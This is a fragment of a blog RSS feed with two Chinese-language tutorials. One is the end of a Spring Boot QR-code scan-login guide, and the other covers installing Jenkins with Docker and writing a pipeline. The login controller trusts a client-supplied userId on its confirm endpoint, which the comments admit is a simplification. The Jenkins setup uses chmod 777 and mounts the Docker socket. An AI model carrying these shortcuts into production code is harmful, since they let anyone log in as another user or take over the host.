class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">import</span> cn.iocoder.boot.entity.ResultVo;<br><span class="hljs-keyword">import</span> cn.iocoder.boot.entity.ScanLoginStatus;<br><span class="hljs-keyword">import</span> cn.iocoder.boot.utils.QrCodeUtil;<br><span class="hljs-keyword">import</span> jakarta.annotation.Resource;<br><span class="hljs-keyword">import</span> lombok.extern.slf4j.Slf4j;<br><span class="hljs-keyword">import</span> org.apache.commons.lang3.StringUtils;<br><span class="hljs-keyword">import</span> org.springframework.beans.factory.annotation.Value;<br><span class="hljs-keyword">import</span> org.springframework.data.redis.core.StringRedisTemplate;<br><span class="hljs-keyword">import</span> org.springframework.web.bind.annotation.*;<br><br><span class="hljs-keyword">import</span> java.util.UUID;<br><span class="hljs-keyword">import</span> java.util.concurrent.TimeUnit;<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * 扫码登录核心接口</span><br><span class="hljs-comment"> * 接口路径可根据项目规范调整</span><br><span class="hljs-comment"> */</span><br><span class="hljs-meta">@RestController</span><br><span class="hljs-meta">@RequestMapping(&quot;/api/scan/login&quot;)</span><br><span class="hljs-meta">@Slf4j</span><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">ScanLoginController</span> &#123;<br><br>    <span class="hljs-meta">@Resource</span><br>    <span class="hljs-keyword">private</span> QrCodeUtil qrCodeUtil;<br><br>    <span class="hljs-meta">@Resource</span><br>    <span class="hljs-keyword">private</span> StringRedisTemplate stringRedisTemplate;<br><br>    <span class="hljs-meta">@Value(&quot;$&#123;scan.login.qrcode.expire-time&#125;&quot;)</span><br>    <span class="hljs-keyword">private</span> Integer expireTime;<br><br>    <span class="hljs-meta">@Value(&quot;$&#123;scan.login.redis.key-prefix&#125;&quot;)</span><br>    <span class="hljs-keyword">private</span> String redisKeyPrefix;<br><br>    <span class="hljs-meta">@Value(&quot;$&#123;scan.login.redis.state-key&#125;&quot;)</span><br>    <span class="hljs-keyword">private</span> String stateKeyPrefix;<br><br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * 1. 生成登录二维码（前端调用，获取二维码和临时凭证）</span><br><span class="hljs-comment">     * <span class="hljs-doctag">@return</span> 二维码Base64 + 临时凭证uuid</span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-meta">@GetMapping(&quot;/qrcode&quot;)</span><br>    <span class="hljs-keyword">public</span> ResultVo <span class="hljs-title function_">generateLoginQrCode</span><span class="hljs-params">()</span> &#123;<br>        <span class="hljs-comment">// 生成唯一临时凭证（uuid），用于关联二维码和扫码状态</span><br>        <span class="hljs-type">String</span> <span class="hljs-variable">uuid</span> <span class="hljs-operator">=</span> UUID.randomUUID().toString().replace(<span class="hljs-string">&quot;-&quot;</span>, <span class="hljs-string">&quot;&quot;</span>);<br>        <span class="hljs-comment">// 二维码内容：临时凭证（实际项目可拼接域名，方便手机端解析）</span><br>        <span class="hljs-type">String</span> <span class="hljs-variable">qrCodeContent</span> <span class="hljs-operator">=</span> uuid;<br>        <span class="hljs-comment">// 生成二维码Base64</span><br>        <span class="hljs-type">String</span> <span class="hljs-variable">qrCodeBase64</span> <span class="hljs-operator">=</span> qrCodeUtil.generateQrCodeBase64(qrCodeContent);<br><br>        <span class="hljs-comment">// 存储二维码状态到Redis，初始状态：未扫码，设置过期时间</span><br>        <span class="hljs-type">String</span> <span class="hljs-variable">redisKey</span> <span class="hljs-operator">=</span> redisKeyPrefix + uuid;<br>        stringRedisTemplate.opsForValue().set(redisKey, ScanLoginStatus.NOT_SCAN.getCode().toString(), expireTime, TimeUnit.SECONDS);<br><br>        <span class="hljs-comment">// 返回结果（ResultVo是项目通用返回类，可替换为自己的返回格式）</span><br>        <span class="hljs-keyword">return</span> ResultVo.success()<br>                .put(<span class="hljs-string">&quot;qrCodeBase64&quot;</span>, qrCodeBase64)<br>                .put(<span class="hljs-string">&quot;uuid&quot;</span>, uuid);<br>    &#125;<br><br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * 2. 查询扫码状态（前端轮询调用，间隔1-2秒）</span><br><span class="hljs-comment">     * <span class="hljs-doctag">@param</span> uuid 临时凭证</span><br><span class="hljs-comment">     * <span class="hljs-doctag">@return</span> 扫码状态 + 登录token（确认登录后返回）</span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-meta">@GetMapping(&quot;/state&quot;)</span><br>    <span class="hljs-keyword">public</span> ResultVo <span class="hljs-title function_">queryScanState</span><span class="hljs-params">(<span class="hljs-meta">@RequestParam</span> String uuid)</span> &#123;<br>        <span class="hljs-keyword">if</span> (StringUtils.isBlank(uuid)) &#123;<br>            <span class="hljs-keyword">return</span> ResultVo.error(<span class="hljs-string">&quot;临时凭证不能为空&quot;</span>);<br>        &#125;<br><br>        <span class="hljs-type">String</span> <span class="hljs-variable">redisKey</span> <span class="hljs-operator">=</span> redisKeyPrefix + uuid;<br>        <span class="hljs-type">String</span> <span class="hljs-variable">statusCode</span> <span class="hljs-operator">=</span> stringRedisTemplate.opsForValue().get(redisKey);<br><br>        <span class="hljs-comment">// 二维码已过期（Redis中无数据）</span><br>        <span class="hljs-keyword">if</span> (StringUtils.isBlank(statusCode)) &#123;<br>            <span class="hljs-keyword">return</span> ResultVo.success()<br>                    .put(<span class="hljs-string">&quot;status&quot;</span>, ScanLoginStatus.EXPIRED.getCode())<br>                    .put(<span class="hljs-string">&quot;desc&quot;</span>, ScanLoginStatus.EXPIRED.getDesc());<br>        &#125;<br><br>        <span class="hljs-type">ScanLoginStatus</span> <span class="hljs-variable">status</span> <span class="hljs-operator">=</span> ScanLoginStatus.getByCode(Integer.parseInt(statusCode));<br>        <span class="hljs-comment">// 已确认登录，生成登录token（实际项目用JWT或Session，这里简化）</span><br>        <span class="hljs-keyword">if</span> (status == ScanLoginStatus.CONFIRMED) &#123;<br>            <span class="hljs-type">String</span> <span class="hljs-variable">loginToken</span> <span class="hljs-operator">=</span> generateLoginToken(uuid);<br>            <span class="hljs-comment">// 登录成功后，删除Redis中的临时状态（避免重复登录）</span><br>            stringRedisTemplate.delete(redisKey);<br>            <span class="hljs-keyword">return</span> ResultVo.success()<br>                    .put(<span class="hljs-string">&quot;status&quot;</span>, status.getCode())<br>                    .put(<span class="hljs-string">&quot;desc&quot;</span>, status.getDesc())<br>                    .put(<span class="hljs-string">&quot;token&quot;</span>, loginToken);<br>        &#125;<br><br>        <span class="hljs-comment">// 未扫码/已扫码待确认，返回当前状态</span><br>        <span class="hljs-keyword">return</span> ResultVo.success()<br>                .put(<span class="hljs-string">&quot;status&quot;</span>, status.getCode())<br>                .put(<span class="hljs-string">&quot;desc&quot;</span>, status.getDesc());<br>    &#125;<br><br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * 3. 扫码确认登录（手机端调用，扫码后点击确认触发）</span><br><span class="hljs-comment">     * <span class="hljs-doctag">@param</span> uuid 临时凭证（手机端解析二维码获取）</span><br><span class="hljs-comment">     * <span class="hljs-doctag">@param</span> userId 手机端登录用户ID（实际项目从token中获取）</span><br><span class="hljs-comment">     * <span class="hljs-doctag">@return</span> 确认结果</span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-meta">@PostMapping(&quot;/confirm&quot;)</span><br>    <span class="hljs-keyword">public</span> ResultVo <span class="hljs-title function_">confirmLogin</span><span class="hljs-params">(<span class="hljs-meta">@RequestParam</span> String uuid, <span class="hljs-meta">@RequestParam</span> Long userId)</span> &#123;<br>        <span class="hljs-keyword">if</span> (StringUtils.isBlank(uuid) || userId == <span class="hljs-literal">null</span>) &#123;<br>            <span class="hljs-keyword">return</span> ResultVo.error(<span class="hljs-string">&quot;参数不完整&quot;</span>);<br>        &#125;<br><br>        <span class="hljs-type">String</span> <span class="hljs-variable">redisKey</span> <span class="hljs-operator">=</span> redisKeyPrefix + uuid;<br>        <span class="hljs-type">String</span> <span class="hljs-variable">statusCode</span> <span class="hljs-operator">=</span> stringRedisTemplate.opsForValue().get(redisKey);<br><br>        <span class="hljs-comment">// 二维码已过期或不存在</span><br>        <span class="hljs-keyword">if</span> (StringUtils.isBlank(statusCode)) &#123;<br>            <span class="hljs-keyword">return</span> ResultVo.error(<span class="hljs-string">&quot;二维码已过期，请重新生成&quot;</span>);<br>        &#125;<br><br>        <span class="hljs-type">ScanLoginStatus</span> <span class="hljs-variable">status</span> <span class="hljs-operator">=</span> ScanLoginStatus.getByCode(Integer.parseInt(statusCode));<br>        <span class="hljs-comment">// 只有未扫码/已扫码待确认状态，才能确认登录</span><br>        <span class="hljs-keyword">if</span> (status == ScanLoginStatus.NOT_SCAN || status == ScanLoginStatus.SCANNED) &#123;<br>            <span class="hljs-comment">// 更新状态为已确认登录，无需延长过期时间（确认后立即删除）</span><br>            stringRedisTemplate.opsForValue().set(redisKey, ScanLoginStatus.CONFIRMED.getCode().toString());<br>            log.info(<span class="hljs-string">&quot;用户&#123;&#125;扫码确认登录，临时凭证：&#123;&#125;&quot;</span>, userId, uuid);<br>            <span class="hljs-keyword">return</span> ResultVo.success(<span class="hljs-string">&quot;确认登录成功&quot;</span>);<br>        &#125;<br><br>        <span class="hljs-keyword">return</span> ResultVo.error(<span class="hljs-string">&quot;当前状态无法确认登录&quot;</span>);<br>    &#125;<br><br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     * 生成登录token（简化版，实际项目用JWT，配置密钥和过期时间）</span><br><span class="hljs-comment">     * <span class="hljs-doctag">@param</span> uuid 临时凭证</span><br><span class="hljs-comment">     * <span class="hljs-doctag">@return</span> 登录token</span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-keyword">private</span> String <span class="hljs-title function_">generateLoginToken</span><span class="hljs-params">(String uuid)</span> &#123;<br>        <span class="hljs-comment">// 实际项目中替换为JWT生成逻辑，这里仅做演示</span><br>        <span class="hljs-keyword">return</span> <span class="hljs-string">&quot;scan_login_&quot;</span> + uuid + <span class="hljs-string">&quot;_&quot;</span> + System.currentTimeMillis();<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><h3 id="3-4-通用返回类（ResultVo）"><a href="#3-4-通用返回类（ResultVo）" class="headerlink" title="3.4 通用返回类（ResultVo）"></a>3.4 通用返回类（ResultVo）</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">import</span> lombok.Data;<br><span class="hljs-keyword">import</span> java.util.HashMap;<br><span class="hljs-keyword">import</span> java.util.Map;<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * 通用返回类</span><br><span class="hljs-comment"> */</span><br><span class="hljs-meta">@Data</span><br><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">ResultVo</span> &#123;<br>    <span class="hljs-keyword">private</span> Integer code; <span class="hljs-comment">// 0：成功，1：失败</span><br>    <span class="hljs-keyword">private</span> String msg;<br>    <span class="hljs-keyword">private</span> Map&lt;String, Object&gt; data = <span class="hljs-keyword">new</span> <span class="hljs-title class_">HashMap</span>&lt;&gt;();<br><br>    <span class="hljs-comment">// 成功返回</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> ResultVo <span class="hljs-title function_">success</span><span class="hljs-params">()</span> &#123;<br>        <span class="hljs-keyword">return</span> success(<span class="hljs-string">&quot;操作成功&quot;</span>);<br>    &#125;<br><br>    <span class="hljs-comment">// 成功返回</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> ResultVo <span class="hljs-title function_">success</span><span class="hljs-params">(String msg)</span> &#123;<br>        <span class="hljs-type">ResultVo</span> <span class="hljs-variable">resultVo</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ResultVo</span>();<br>        resultVo.setCode(<span class="hljs-number">0</span>);<br>        resultVo.setMsg(msg);<br>        <span class="hljs-keyword">return</span> resultVo;<br>    &#125;<br><br>    <span class="hljs-comment">// 失败返回</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> ResultVo <span class="hljs-title function_">error</span><span class="hljs-params">(String msg)</span> &#123;<br>        <span class="hljs-type">ResultVo</span> <span class="hljs-variable">resultVo</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ResultVo</span>();<br>        resultVo.setCode(<span class="hljs-number">1</span>);<br>        resultVo.setMsg(msg);<br>        <span class="hljs-keyword">return</span> resultVo;<br>    &#125;<br><br>    <span class="hljs-comment">// 往返回数据中添加参数</span><br>    <span class="hljs-keyword">public</span> ResultVo <span class="hljs-title function_">put</span><span class="hljs-params">(String key, Object value)</span> &#123;<br>        <span class="hljs-built_in">this</span>.data.put(key, value);<br>        <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>;<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><hr><h2 id="四、前端配合实现"><a href="#四、前端配合实现" class="headerlink" title="四、前端配合实现"></a>四、前端配合实现</h2><h3 id="4-1-PC-端实现流程"><a href="#4-1-PC-端实现流程" class="headerlink" title="4.1 PC 端实现流程"></a>4.1 PC 端实现流程</h3><ol><li><p><strong>二维码渲染</strong>：页面初始化后，调用后端 <code>/api/scan/login/qrcode</code> 接口，获取二维码 Base64 字符串和临时凭证 uuid，直接渲染到页面即可，无需额外处理二维码生成逻辑。</p></li><li><p><strong>状态轮询</strong>：获取 uuid 后，以 1-2 秒为间隔，调用后端 <code>/api/scan/login/state</code> 接口，传入 uuid 查询扫码状态，同步展示状态提示（未扫码、待确认、已登录、已过期）。</p></li><li><p><strong>结果处理</strong>：若查询到状态为”已确认登录”，保存后端返回的 token 到本地（localStorage&#x2F;SessionStorage），立即停止轮询并跳转至系统首页；若状态为”二维码已过期”，显示已过期，允许用户重新调用二维码生成接口刷新。</p></li></ol><h3 id="4-2-手机端扫码确认流程"><a href="#4-2-手机端扫码确认流程" class="headerlink" title="4.2 手机端扫码确认流程"></a>4.2 手机端扫码确认流程</h3><p>手机端用户在扫码后，解析二维码内容（即 uuid），调用后端 <code>/api/scan/login/confirm</code> 接口，传入 uuid 和当前登录用户 ID，完成确认操作。此时 PC 端会收到更新通知，完成登录流程。</p><hr>]]>
      </content:encoded>
    </item>
    <item>
      <title>Jenkins安装与使用</title>
      <link>https://blog.newpon.top/2026/03/20/Jenkins%E4%BD%BF%E7%94%A8/</link>
      <description>详解使用 Docker 快速安装与配置 Jenkins LTS 的全流程，包含数据卷持久化挂载、镜像源加速、常用插件安装与 CI/CD 基础构建流水线实战。</description>
      <author>Niezidong</author>
      <category domain="https://blog.newpon.top/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.newpon.top/tags/Jenkins/">Jenkins</category>
      <category domain="https://blog.newpon.top/tags/Docker/">Docker</category>
      <category domain="https://blog.newpon.top/tags/CI-CD/">CI/CD</category>
      <pubDate>Fri, 20 Mar 2026 04:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1 id="Jenkins-安装与使用（Docker）"><a href="#Jenkins-安装与使用（Docker）" class="headerlink" title="Jenkins 安装与使用（Docker）"></a>Jenkins 安装与使用（Docker）</h1><p>本文介绍如何使用 Docker 快速安装 Jenkins，并完成基础配置与常用构建流程。</p><hr><h2 id="使用-Docker-安装-Jenkins"><a href="#使用-Docker-安装-Jenkins" class="headerlink" title="使用 Docker 安装 Jenkins"></a>使用 Docker 安装 Jenkins</h2><h3 id="1）拉取镜像"><a href="#1）拉取镜像" class="headerlink" title="1）拉取镜像"></a>1）拉取镜像</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">docker pull jenkins/jenkins:lts<br></code></pre></td></tr></table></figure><h3 id="2）创建数据卷"><a href="#2）创建数据卷" class="headerlink" title="2）创建数据卷"></a>2）创建数据卷</h3><p>为了持久化 Jenkins 配置和构建数据，需要创建本地目录：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-built_in">mkdir</span> -p /opt/jenkins_home<br><span class="hljs-built_in">chmod</span> 777 /opt/jenkins_home<br></code></pre></td></tr></table></figure><h3 id="3）启动容器"><a href="#3）启动容器" class="headerlink" title="3）启动容器"></a>3）启动容器</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs bash">docker run -d \<br>  --name jenkins \<br>  -p 8080:8080 \<br>  -p 50000:50000 \<br>  -v /opt/jenkins_home:/var/jenkins_home \<br>  -v /var/run/docker.sock:/var/run/docker.sock \<br>  jenkins/jenkins:lts<br></code></pre></td></tr></table></figure><p><strong>参数说明：</strong></p><ul><li><code>-d</code>：后台运行</li><li><code>--name jenkins</code>：容器名称</li><li><code>-p 8080:8080</code>：暴露 Web UI 端口</li><li><code>-p 50000:50000</code>：Jenkins agent 通信端口</li><li><code>-v /opt/jenkins_home:/var/jenkins_home</code>：数据持久化</li><li><code>-v /var/run/docker.sock:/var/run/docker.sock</code>：允许 Jenkins 调用 Docker</li></ul><h3 id="4）获取初始密码"><a href="#4）获取初始密码" class="headerlink" title="4）获取初始密码"></a>4）获取初始密码</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs bash">docker logs jenkins | grep -A 5 <span class="hljs-string">&quot;Please use the following password&quot;</span><br><span class="hljs-comment"># 或者</span><br><span class="hljs-built_in">cat</span> /opt/jenkins_home/secrets/initialAdminPassword<br></code></pre></td></tr></table></figure><h3 id="5）访问-Jenkins"><a href="#5）访问-Jenkins" class="headerlink" title="5）访问 Jenkins"></a>5）访问 Jenkins</h3><p>打开浏览器访问 <code>http://localhost:8080</code>，输入初始密码进行解锁。</p><hr><h2 id="Jenkins-初始配置"><a href="#Jenkins-初始配置" class="headerlink" title="Jenkins 初始配置"></a>Jenkins 初始配置</h2><h3 id="1）安装推荐插件"><a href="#1）安装推荐插件" class="headerlink" title="1）安装推荐插件"></a>1）安装推荐插件</h3><p>解锁后会进入”自定义 Jenkins”页面，选择”安装推荐的插件”。常见插件包括：</p><ul><li><strong>Pipeline</strong>：支持声明式和脚本化流水线</li><li><strong>Blue Ocean</strong>：提供现代化的 Pipeline 可视化</li><li><strong>Git</strong>：Git 版本控制集成</li><li><strong>Maven Integration</strong>：Maven 构建支持</li><li><strong>Email Extension</strong>：邮件通知</li><li><strong>Slack Notification</strong>：Slack 集成通知</li><li><strong>Docker</strong>：Docker 集成</li></ul><h3 id="2）创建管理员用户"><a href="#2）创建管理员用户" class="headerlink" title="2）创建管理员用户"></a>2）创建管理员用户</h3><p>按照提示创建第一个管理员用户，设置用户名、密码、邮箱等信息。</p><h3 id="3）配置系统设置"><a href="#3）配置系统设置" class="headerlink" title="3）配置系统设置"></a>3）配置系统设置</h3><p>进入”系统管理” → “系统配置”，配置以下内容：</p><ul><li><strong>Jenkins Location</strong>：Jenkins URL（如 <code>http://your-domain:8080</code>）</li><li><strong>邮件通知</strong>：配置 SMTP 信息用于发送构建通知</li><li><strong>污点标签</strong>：设置执行器和代理标签</li></ul><hr><h2 id="创建第一个-Pipeline-流水线"><a href="#创建第一个-Pipeline-流水线" class="headerlink" title="创建第一个 Pipeline 流水线"></a>创建第一个 Pipeline 流水线</h2><h3 id="1）新建任务"><a href="#1）新建任务" class="headerlink" title="1）新建任务"></a>1）新建任务</h3><p>点击”New Item”，输入任务名称，选择”Pipeline”类型。</p><h3 id="2）编写-Jenkinsfile"><a href="#2）编写-Jenkinsfile" class="headerlink" title="2）编写 Jenkinsfile"></a>2）编写 Jenkinsfile</h3><p>在”Pipeline”部分选择”Pipeline script from SCM”，指定 Git 仓库。</p><p>示例 Jenkinsfile：</p><figure class="highlight groovy"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br></pre></td><td class="code"><pre><code class="hljs groovy">pipeline &#123;<br>    agent any<br>    <br>    options &#123;<br>        buildDiscarder(logRotator(<span class="hljs-attr">numToKeepStr:</span> <span class="hljs-string">&#x27;10&#x27;</span>))<br>        timestamps()<br>    &#125;<br>    <br>    stages &#123;<br>        stage(<span class="hljs-string">&#x27;Git Checkout&#x27;</span>) &#123;<br>            steps &#123;<br>                echo <span class="hljs-string">&#x27;🔄 Checking out code...&#x27;</span><br>                git <span class="hljs-attr">url:</span> <span class="hljs-string">&#x27;https://github.com/your-repo.git&#x27;</span>, <br>                    <span class="hljs-symbol">branch:</span> <span class="hljs-string">&#x27;main&#x27;</span><br>            &#125;<br>        &#125;<br>        <br>        stage(<span class="hljs-string">&#x27;Build&#x27;</span>) &#123;<br>            steps &#123;<br>                echo <span class="hljs-string">&#x27;🔨 Building project...&#x27;</span><br>                sh <span class="hljs-string">&#x27;&#x27;&#x27;</span><br><span class="hljs-string">                    chmod +x ./mvnw</span><br><span class="hljs-string">                    ./mvnw clean package -DskipTests</span><br><span class="hljs-string">                &#x27;&#x27;&#x27;</span><br>            &#125;<br>        &#125;<br>        <br>        stage(<span class="hljs-string">&#x27;Test&#x27;</span>) &#123;<br>            steps &#123;<br>                echo <span class="hljs-string">&#x27;🧪 Running tests...&#x27;</span><br>                sh <span class="hljs-string">&#x27;./mvnw test&#x27;</span><br>            &#125;<br>        &#125;<br>        <br>        stage(<span class="hljs-string">&#x27;Deploy Dev&#x27;</span>) &#123;<br>            when &#123;<br>                branch <span class="hljs-string">&#x27;develop&#x27;</span><br>            &#125;<br>            steps &#123;<br>                echo <span class="hljs-string">&#x27;🚀 Deploying to dev environment...&#x27;</span><br>                sh <span class="hljs-string">&#x27;./deploy.sh dev&#x27;</span><br>            &#125;<br>        &#125;<br>        <br>        stage(<span class="hljs-string">&#x27;Deploy Prod&#x27;</span>) &#123;<br>            when &#123;<br>                branch <span class="hljs-string">&#x27;main&#x27;</span><br>            &#125;<br>            steps &#123;<br>                echo <span class="hljs-string">&#x27;🚀 Deploying to production...&#x27;</span><br>                input <span class="hljs-attr">message:</span> <span class="hljs-string">&#x27;确认生产部署?&#x27;</span>, <span class="hljs-attr">ok:</span> <span class="hljs-string">&#x27;Deploy&#x27;</span><br>                sh <span class="hljs-string">&#x27;./deploy.sh prod&#x27;</span><br>            &#125;<br>        &#125;<br>    &#125;<br>    <br>    post &#123;<br>        always &#123;<br>            echo <span class="hljs-string">&#x27;📊 Generating reports...&#x27;</span><br>            junit <span class="hljs-string">&#x27;target/surefire-reports/**/*.xml&#x27;</span><br>        &#125;<br>        <br>        success &#123;<br>            echo <span class="hljs-string">&#x27;✅ Pipeline 成功！&#x27;</span><br>        &#125;<br>        <br>        failure &#123;<br>            echo <span class="hljs-string">&#x27;❌ Pipeline 失败！&#x27;</span><br>        &#125;<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><h3 id="3）设置触发器"><a href="#3）设置触发器" class="headerlink" title="3）设置触发器"></a>3）设置触发器</h3><p>配置构建触发条件：</p><ul><li><strong>Poll SCM</strong>：定期检查代码变更</li><li><strong>Webhook</strong>：Git 仓库提交时自动触发</li><li><strong>定时构建</strong>：指定时间自动构建</li></ul><hr><h2 id="常用的-Jenkins-配置"><a href="#常用的-Jenkins-配置" class="headerlink" title="常用的 Jenkins 配置"></a>常用的 Jenkins 配置</h2><h3 id="1）配置-Git-凭证"><a href="#1）配置-Git-凭证" class="headerlink" title="1）配置 Git 凭证"></a>1）配置 Git 凭证</h3><p>进入”系统管理” → “Manage Credentials”，添加 SSH 或 HTTPS 凭证：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 生成 SSH 密钥</span><br>ssh-keygen -t rsa -b 4096 -f ~/.ssh/jenkins_key<br><br><span class="hljs-comment"># 将公钥添加到 GitHub/GitLab</span><br><span class="hljs-built_in">cat</span> ~/.ssh/jenkins_key.pub<br></code></pre></td></tr></table></figure><h3 id="2）设置邮件通知"><a href="#2）设置邮件通知" class="headerlink" title="2）设置邮件通知"></a>2）设置邮件通知</h3><p>在”系统配置”中：</p><ul><li>配置 SMTP 服务（Gmail、企业邮箱等）</li><li>设置发件人邮箱</li><li>在 Pipeline 中使用邮件步骤：</li></ul><figure class="highlight groovy"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs groovy">post &#123;<br>    failure &#123;<br>        mail <span class="hljs-attr">to:</span> <span class="hljs-string">&#x27;team@example.com&#x27;</span>,<br>             <span class="hljs-symbol">subject:</span> <span class="hljs-string">&quot;Build Failed: $&#123;env.JOB_NAME&#125; #$&#123;env.BUILD_NUMBER&#125;&quot;</span>,<br>             <span 